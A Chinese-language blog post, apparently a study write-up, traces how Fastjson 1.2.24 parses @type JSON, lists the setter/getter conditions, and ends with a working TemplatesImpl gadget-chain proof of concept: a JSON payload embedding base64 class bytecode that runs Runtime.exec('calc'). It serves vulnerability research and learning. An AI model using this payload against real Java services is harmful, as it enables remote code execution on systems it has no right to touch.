Fastjson反序列化①-原理详解

发布于 2022-11-24  144 次阅读


author: bilala

0x00 前言

环境:fastjson1.2.24

本篇算是对fastjson如何处理数据做了一个跟进,为后边学习fastjson反序列化打打基础

0x01 Fastjson介绍

Fastjson 是一个Java 库,可以将Java 对象转换为JSON 格式,当然它也可以将JSON 字符串转换为Java 对象。 Fastjson 可以操作任何Java 对象,即使是一些预先存在的没有源码的对象。

—— From runoob.com

说白了就是可以处理json数据,但是一个库如果只有一个功能的话未免显得有些鸡肋。所以Fastjson还支持处理Java的任意对象,只需加上@type字段,Fastjson就可以将字符串当作某个类处理。

使用方式

package com.bilala.fj;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;

public class FastjsonDemo {
    public static void main(String[] args) {
        String text = "{\"name\":\"bilala\", \"age\":20}";

        JSONObject jsonObject = JSON.parseObject(text);
        System.out.println(jsonObject.getString("name"));
    }
}

image-20221124042833132

上述只是对普通的json数据进行解析,我们要研究的是Fastjson是如何对类进行解析的,新建一个JavaBean

package com.bilala.fj;

public class Person {
    private String name;
    private int age;

    public Person() {
    }

    public Person(String name, int age) {
        this.name = name;
        this.age = age;
    }

    public String getName() {
        System.out.println("调用了getName方法");
        return name;
    }

    public void setName(String name) {
        System.out.println("setName");
        this.name = name;
    }

    public int getAge() {
        System.out.println("调用了getAge方法");
        return age;
    }

    public void setAge(int age) {
        System.out.println("setAge");
        this.age = age;
    }

}

Fastjson序列化

package com.bilala.fj;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.serializer.SerializerFeature;

public class FastjsonDemo {
    public static void main(String[] args) {
        Person person = new Person("bilala", 120);

        String text = JSON.toJSONString(person);
        System.out.println(text);
        System.out.println("-------------------------");
        String t2 = JSON.toJSONString(person, SerializerFeature.WriteClassName);
        System.out.println(t2);
    }
}

以上输出为

image-20221124043409880

注意到两个地方

  1. 在Fastjson将类序列化成json数据的过程中,都调用了类的get方法
  2. 在序列化时带上SerializerFeature.WriteClassName,则会在序列化数据头部带上@type字段,且字段值就是类名

Fastjson反序列化

Fastjson有两个反序列化方法,parseparseObject,这里我们就用上边的带有@type的序列化数据来反序列化

package com.bilala.fj;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.serializer.SerializerFeature;

public class FastjsonDemo {
    public static void main(String[] args) {
//        Person person = new Person("bilala", 120);
        String text = "{\"@type\":\"com.bilala.fj.Person\",\"age\":120,\"name\":\"bilala\"}";

        Object obj = JSON.parse(text);
        System.out.println(obj.getClass().getName());
        System.out.println("-------------------------");
        JSONObject jsonObject = JSON.parseObject(text);
        System.out.println(jsonObject.getClass().getName());
    }
}

输出:

image-20221124045206539

首先,这两个方法在本质上是一样的作用,翻看parseObject源码就可以看到,也是调用的parse

image-20221124045800113

要注意的是,Fastjson在反序列化时都调用了类的setter/getter方法,那我们可以直接在JavaBean中的setter方法里加上exec("calc")就能弹出计算器,不过这毕竟是我们自己写的JavaBean,我们需要跟进这个反序列化流程,看看是否是满足某些条件的时候才会触发setter/getter方法,并且在原生类中找到符合这些条件的Gadget

0x02 parseObject流程

上边已经提到了,在parseObject时会调用到parse,跟进parse

    public static Object parse(String text, int features) {
        if (text == null) {
            return null;
        }

        DefaultJSONParser parser = new DefaultJSONParser(text, ParserConfig.getGlobalInstance(), features);
        Object value = parser.parse();

        parser.handleResovleTask(value);

        parser.close();

        return value;
    }

可以看到这里有一个DefaultJSONParser,就是使用默认的解析器进行处理,我们继续跟进parser.parse,核心的处理逻辑都在这里边了

    public Object parse(Object fieldName) {
        final JSONLexer lexer = this.lexer;
        switch (lexer.token()) {
            case SET:
                lexer.nextToken();
                HashSet<Object> set = new HashSet<Object>();
                parseArray(set, fieldName);
                return set;
            case TREE_SET:
                lexer.nextToken();
                TreeSet<Object> treeSet = new TreeSet<Object>();
                parseArray(treeSet, fieldName);
                return treeSet;
            case LBRACKET:
                JSONArray array = new JSONArray();
                parseArray(array, fieldName);
                if (lexer.isEnabled(Feature.UseObjectArray)) {
                    return array.toArray();
                }
                return array;
            case LBRACE:
                JSONObject object = new JSONObject(lexer.isEnabled(Feature.OrderedField));
                return parseObject(object, fieldName);

这里就是对传入的字符串进行判断,我们传入的是以{}包含的,也就是switch中的LBRACE,意思就是解析器把我们传入的数据当作json对象处理,继续跟进这里的parseObject

image-20221124051255745

这里的代码很长就不贴了,刚刚说了解析器把我们的字符串当作json对象处理,这一长串代码就是处理的逻辑,核心逻辑也就是先对key作处理,再对value作处理,毕竟json就是键值对形式的数据。

这里我们一直下一步下一步,一直到这一段

image-20221124051606608

首先我们知道传进去的第一个key就是@type,而这个DEFAULT_TYPE_KEY就是@type

image-20221124051711305

所以这段处理逻辑是要跟进来的,这里做的就不是Fastjson的反序列化了,这里需要Java本身的反序列化

中间都是些小处理,一直下一步,到最后两句

 ObjectDeserializer deserializer = config.getDeserializer(clazz);
 return deserializer.deserialze(this, clazz, fieldName);

先是获取一个反序列化器,然后用反序列化器对其进行反序列化,这里跟进getDeserializer

image-20221124052603899

这里在第一行就获取了一次反序列化器,当然这里获取的其实是这个类原本就导入的一些反序列化器,看这个类的构造方法

image-20221124052728980

这里可以看到这个类对一些原生类已经导入了对应的反序列化器,然而我们的Javabean是自定义的,所以这里肯定没有,继续往下跟

image-20221124052941672

在这里进入了if并且去获取一个反序列化器,跟进

image-20221124053107231

这里跟进后,这个方法全是对你这个type进行各种判断,是否是原生类java.time java.util.Optional等等,不过这些都和我们无关,直接跟到这个方法的最后

image-20221124053327312

这里创建一个新的JavaBean反序列化器,跟进

image-20221124053555250

一开始就定义了一个asm开关,这是Java底层用来加载动态类的,不用管,一直往下跟进直到这一行

image-20221124053705564

Java要想新建一个JavaBean反序列化器,那他一定要对你的类有一个了解,所以通过这个build方法,Java可以get到你类里的属性与方法等,这里跟进

image-20221124053832415

可以看到,上来就是对你的类获取构造器、获取属性、获取方法等。

这里也是一直跟下去,一直到for循环那里

image-20221124054147928

这里把三个for循环都缩略了,主要逻辑是第一个for循环获取所有的setter方法,第二个是获取所有public变量,第三个是获取所有的getter方法,讲完三个for的作用后,继续下一步走

image-20221124054501014

image-20221124054543388

在第一个for循环中有这几个if判断,这几个判断其实就是调用setter方法的条件

  1. 方法名长度大于4
  2. 非静态方法
  3. 返回值为void或者当前类
  4. 参数个数为1个
  5. 以set开头

第一个我们获取到的是getName方法,我们直接略过来到下一个setName方法,for循环里主要是先取出字符串Name,然后把他变小写,也就是name,然后就知道了这个类中有个叫name的变量,就可以加到FiledInfo里去

image-20221124055037813

跟进FiledInfo

一直下一步,直到getOnly处

image-20221124055358700

这里的if对方法进行判断,需要的参数个数是否是一个,这里主要是看getOnly这个字段,正常来说我们是进入不了getOnly=true的那个else的,不过后边我们会碰到Java使用ASM临时生成一个类,这个过程中我们是无法调试的,所以在这里可以控制一下getOnly的开关来做到避开ASM本地调试(这里不讲,仅说一下思路)

这里出来之后就可以看到我们类的信息已经被收集到了

image-20221124060423643

搜集完类的信息后,这个反序列化器也就完成的差不多了,可以return了

image-20221124060713688

return回去之后,可以看到就调用ASM来创建临时类了,到这里就不能调试下去了(感兴趣的话可以照上边说的思路搞)

最终就是完成了对一个json数据的处理

这里还要提到对getter方法的条件限制(就是刚刚的第三个for循环,感兴趣可以自己跟一下)

  1. 方法名长度大于4
  2. 非静态方法
  3. 无参数传入
  4. 返回值类型继承自Collection Map AtomicBoolean AtomicInteger AtomicLong

0x03 TemplatesImpl链利用

在shiro550的CB链利用中,我们用到的是TemplatesImpl#getOutputProperties方法,欸,这个方法不正好就是getter方法嘛,查看这个方法是否满足条件

    public synchronized Properties getOutputProperties() {
        try {
            return newTransformer().getOutputProperties();
        }
        catch (TransformerConfigurationException e) {
            return null;
        }
    }

前三个都满足,看看这个返回值

image-20221124061529101

完美的符合利用条件

POC如下:

package com.bilala.fj;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.parser.Feature;

public class FastjsonDemo {
    public static void main(String[] args) {
        String text = "{"+
                "\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\"," +
                "\"_bytecodes\":[\"yv66vgAAADQANAoACAAkCgAlACYIACcKACUAKAcAKQoABQAqBwArBwAsAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABJMY29tL2V2aWwvY2MzRXZpbDsBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKRXhjZXB0aW9ucwcALQEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAIPGNsaW5pdD4BAAFlAQAVTGphdmEvaW8vSU9FeGNlcHRpb247AQANU3RhY2tNYXBUYWJsZQcAKQEAClNvdXJjZUZpbGUBAAxjYzNFdmlsLmphdmEMAAkACgcALgwALwAwAQAEY2FsYwwAMQAyAQATamF2YS9pby9JT0V4Y2VwdGlvbgwAMwAKAQAQY29tL2V2aWwvY2MzRXZpbAEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAPcHJpbnRTdGFja1RyYWNlACEABwAIAAAAAAAEAAEACQAKAAEACwAAAC8AAQABAAAABSq3AAGxAAAAAgAMAAAABgABAAAACwANAAAADAABAAAABQAOAA8AAAABABAAEQACAAsAAAA/AAAAAwAAAAGxAAAAAgAMAAAABgABAAAAFwANAAAAIAADAAAAAQAOAA8AAAAAAAEAEgATAAEAAAABABQAFQACABYAAAAEAAEAFwABABAAGAACAAsAAABJAAAABAAAAAGxAAAAAgAMAAAABgABAAAAHAANAAAAKgAEAAAAAQAOAA8AAAAAAAEAEgATAAEAAAABABkAGgACAAAAAQAbABwAAwAWAAAABAABABcACAAdAAoAAQALAAAAYQACAAEAAAASuAACEgO2AARXpwAISyq2AAaxAAEAAAAJAAwABQADAAwAAAAWAAUAAAAOAAkAEQAMAA8ADQAQABEAEgANAAAADAABAA0ABAAeAB8AAAAgAAAABwACTAcAIQQAAQAiAAAAAgAj\"]," +
                "\"_name\":\"bilala\"," +
                "\"_tfactory\":{ }," +
                "\"_outputProperties\":{ }" +
                "}";
        JSONObject jsonObject = JSON.parseObject(text, Feature.SupportNonPublicField);
    }
}

分析如下:

  • @type:就是指定类名
  • _bytecodes:这串数据是cc3的恶意类的class文件base64后的字符串
  • _name:cc3时有分析,这个必须要赋值
  • _tfactory:cc3时有分析,当时分析是这个赋不赋值无所谓,因为当时是可以用unserialize触发TemplatesImpl的readObject方法,从而在反序列化时完成对其的赋值,不过这里无法调用readObject,所以要赋值,以免报错中止了链子的跟进
  • _outputProperties:这个就是重点对象了,调用的是他的getter方法
  • Feature.SupportNonPublicField:parseObject默认情况下只对public变量进行反序列化,而_bytecodes和outputProperties都是私有变量,所以需要加上这个才能对私有变量进行反序列化

image-20221124064547492

0x04 参考资料

https://www.bilibili.com/video/BV1bD4y117Qh/?spm_id_from=333.999.0.0&vd_source=0787520db3328a59550fd32baf2c85d4

https://www.cnblogs.com/nice0e3/p/14601670.html#0x02-fastjson%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0